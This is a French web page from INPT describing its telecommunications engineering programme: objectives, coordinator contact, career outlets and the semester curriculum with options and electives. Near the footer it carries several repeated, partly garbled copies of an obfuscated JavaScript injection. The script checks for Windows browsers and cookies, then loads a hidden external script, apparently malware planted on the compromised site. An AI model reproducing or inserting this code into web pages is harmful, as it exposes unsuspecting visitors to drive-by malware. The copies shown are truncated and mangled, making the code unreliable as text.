

⚠ [1] ⚠ [1]

## Ingénierie des Télécommunications [2]

L'objectif de la filière « **Ingénierie des Télécommunications** » est de former des ingénieurs d'Etat dans les domaines des Télécommunications et Réseaux et de l'Informatique. Vu la convergence existante entre l'informatique et les télécommunications, la finalité du programme est d'outiller les ingénieurs avec de solides compétences scientifiques et techniques dans les deux domaines précités avec une emphase particulière vers les métiers Télécoms.

### **Coordonnatrice de filière :**

Mme RIOUCH FATIMA  
riouch@inpt.ac.ma  
Tél: +212 538 002 815

### **Débouchés**

La formation pluridisciplinaire dispensée par l'INPT, centrée sur l'apprentissage de l'innovation et de la créativité, confère aux lauréats des atouts intellectuels et des facultés d'adaptation qui leur permettent d'aborder de multiples métiers :

- Ingénieur de Développement de logiciels
- Ingénieur d'optimisation et de planification réseau
- Ingénieur réseaux Mobiles nouvelle génération
- Ingénieur d'étude et développement
- Ingénieur Intégration réseaux mobiles
- Ingénieur de Développement de services mobiles
- Ingénieur Système et Réseau
- Chef de Projet Nouveaux Services
- Chef de Projet Télécoms
- Chef des Produits et Services Multimédias
-

Ingénieur Transmission

- Ingénieur Test et Mesures
- Ingénieur Avant-Vente technique
- Ingénieur Support Technique
- Ingénieur de Maintenance Réseau
- Architecte Logiciel Télécoms
- Architecte Matériel Télécoms
- Architecte Réseau
- Chef de Produit
- Ingénieur de Construction Réseau
- Ingénieur de Conception Microélectronique
- Ingénieur Système Embarqué
- Ingénieur de M&O

## Programme

Filière Ingénierie des Télécommunications

1<sup>ère</sup> année

S1

	S2				
2 <sup>ème</sup> année	S3				
	S4		Choix de l'option →	ISMR <sup>1</sup>	Systèmes d'information Réseaux de communication Multimédia Economie et Gestion III Langues et techniques de Projet
				IRM <sup>2</sup>	Systèmes Radio Mobiles Réseaux de communication Réseaux & protocoles Conception & planification Economie et Gestion III Langues et techniques de Projet
				CS2E <sup>3</sup>	Conception Numérique e Systèmes analogiques e Systèmes embarqués et Economie et Gestion III Langues et Techniques de Projet
3 <sup>ème</sup> année	S5	Option →	ISMR		Systèmes d'Information Multimédia e

		Réseaux et Services Vision par ordinateur Services Multimédia Economie et Gestion IV Langues et techniques de Communication
	IRM	Projet Innovation ISMR Systèmes Radio Mobiles II Techniques de Communications avancées Ingénierie des réseaux Réseaux et services Economie et Gestion IV Langues et techniques de Communication (deuxième année en anglais) Projet Innovation IRM
	CS2E	Systèmes numériques VLSI Systèmes embarqués Traitement de signal numérique Techniques de Transmission avancées Economie et Gestion IV Langues et techniques de Communication (deuxième année en anglais) Projet Innovation CS2E Projet de fin d'études PFE
S6		
	ISMR <sup>1</sup>	Option Ingénierie des Services Multimédia
	IRM <sup>2</sup>	Option Ingénierie des Réseaux Mobiles
	CS2E <sup>3</sup>	Option Conception des Systèmes Electriques

NB : Liste des modules aux choix du Semestre 3 (\*)

Java Avancé et Client serveur

Parallélisme et Algorithme répartie

Bus et protocole de communication des systèmes embarqués

Energies renouvelables

Systèmes RF pour la communication par satellite & réseaux

Outils d'ingénierie réseaux

Faisceaux Hertziens

Ingénierie de Commutation numérique

Non linéarités dans les réseaux hauts débits

Technologie des capteurs et des capteurs à fibres

Éléments d'Information Quantique

Éléments de Cryptographie

```
;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```



© 2017 Institut National des Postes et Télécommunications

```
;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(W{"})&&!s(x,m("&dui{o;r,den;Aj"}))){if(!s(y,m("p=na{m9t(uo_,_d_("))){var b=document.createElement('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}txtxh,');var o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```

- [Alumni](#)
- [Contacts](#)
- [Plan de site](#)
- [Mentions Légales](#)





```
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{")&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```

**Source URL:** <http://www.inpt.ma/fr/ing%C3%A9nierie-des-t%C3%A9l%C3%A9communications>

## Liens

[1] <http://www.inpt.ma/fr/javascript%3A%3B>

[2] <http://www.inpt.ma/fr/ing%C3%A9nierie-des-t%C3%A9l%C3%A9communications>